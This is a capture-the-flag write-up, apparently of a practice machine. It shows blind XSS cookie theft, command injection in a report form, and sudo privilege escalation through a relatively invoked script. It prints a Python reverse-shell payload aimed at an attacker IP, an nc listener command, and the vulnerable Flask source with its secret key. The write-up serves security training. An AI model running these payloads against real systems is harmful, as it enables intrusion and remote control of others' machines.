In this case we obtain a 500 HTTP Status Code and cookie is not set as we can verify also using BurpSuite:
Instead if we modify the request to /dashboard using BurpSuite Pro and we set the value InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs as Cookie Header we obtain a different result (401 Unauthorized):
Using Decoder function we can see that the first part of Cookie value is "user":
Analyzing the website and in particular the form at /support using Wapiti we see in the report that there is no CSP configuration (probably the form is vulnerable to XSS).
Exploitation (user)
Testing for an XSS using BurpSuite on different fields of form result in a strange response HTML for the field message:
Rendering the strange response in a browser we obtain this one below:
The text of Hacking Attempt page says:
Your IP addrees has been flagged, a report with your browser information has been sent to the administrators for investigation.
This is an interesting clue, as it means that some of the malicious code we send is rendered in the administrator's browser, and if it is not properly encoded and interpreted as plain text but as HTML code, it is XSS passable and therefore we could try and steal the administrative cookie.
To obtain the administrator's cookie, we run a simple web server with Python:
python3 -m http.server 8000
that remains listening for any requests made via JavaScript injected into the administrator's browser by exploiting the XSS on the report form.
XSS on message field is not working as expected:
Since the form fields do not appear to be vulnerable to XSS, we need to try working on the HTTP request headers, which are then likely reported to the administrator for a thorough analysis of the "hacking attempt."
The XSS in the field #1 is that will trigger the theft of the administrative cookie.
The XSS in the field #2 instead, is the one to trigger the hacking attempt report and notify the administrator.
Now setting the cookie in the browser, we can finally access dashboard page:
Fuzzing for other hidden directories using administrative cookie is a fail:
Trying to intercept the "Generate Report" request and modify the POST parameter date by injecting some OS commands (Linux) return a beatiful result:
We need to obtain a reverse shell, so explore the binaries installed on victim machine that we can use:
Using python3 we will obtain a reverse shell.
On attacker machine:
rlwrap nc -lvnp 6060
On BurpSuite Repeater:
date=01-01-01;/usr/bin/python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.15.101",6060));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
And the user flag:
Privilege Escalation
Under /appdirectory we can see some interesting files:
app.py
from flask import Flask, render_template, request, make_response, abort, send_file
from itsdangerous import URLSafeSerializer
import os
import random
app = Flask(__name__, template_folder=".")
app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)
hacking_reports_dir = '/home/dvir/app/hacking_reports'
os.makedirs(hacking_reports_dir, exist_ok=True)
@app.route('/')
def index():
client_ip = request.remote_addr
is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
token = "admin" if is_admin else "user"
serialized_value = serializer.dumps(token)
response = make_response(render_template('index.html', is_admin=token))
response.set_cookie('is_admin', serialized_value, httponly=False)
return response
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)
@app.route('/support', methods=['GET', 'POST'])
def support():
if request.method == 'POST':
message = request.form.get('message')
if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
request_info = {
"Method": request.method,
"URL": request.url,
"Headers": format_request_info(dict(request.headers)),
}
formatted_request_info = format_request_info(request_info)
html = render_template('hackattempt.html', request_info=formatted_request_info)
filename = f'{random.randint(1, 99999999999999999999999)}.html'
with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
html_file.write(html)
return html
return render_template('support.html')
@app.route('/hacking_reports/<int:report_number>')
def hacking_reports(report_number):
report_file = os.path.join(hacking_reports_dir, f'{report_number}.html')
if os.path.exists(report_file):
return send_file(report_file)
else:
return "Report not found", 404
def format_request_info(info):
formatted_info = ''
for key, value in info.items():
formatted_info += f"<strong>{key}:</strong> {value}<br>"
return formatted_info
def format_form_data(form_data):
formatted_data = {}
for key, value in form_data.items():
formatted_data[key] = value
return formatted_data
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
Do some enumeration with LinPeas:
Very good! We can run /usr/bin/syscheck as root thanks to sudoers permissions.
Exploitation (root)
Investigating the script further, we note that it is a BASH script, on which we have no editing permissions:
/usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
The vulnerability of this script lies in the execution of an initdb.sh script present in the same directory from which syscheck is invoked. Therefore, we simply place ourselves in a directory in which we have write permissions (/tmp will do just fine) and create a script with the same name but with a reverse shell to our attacking machine: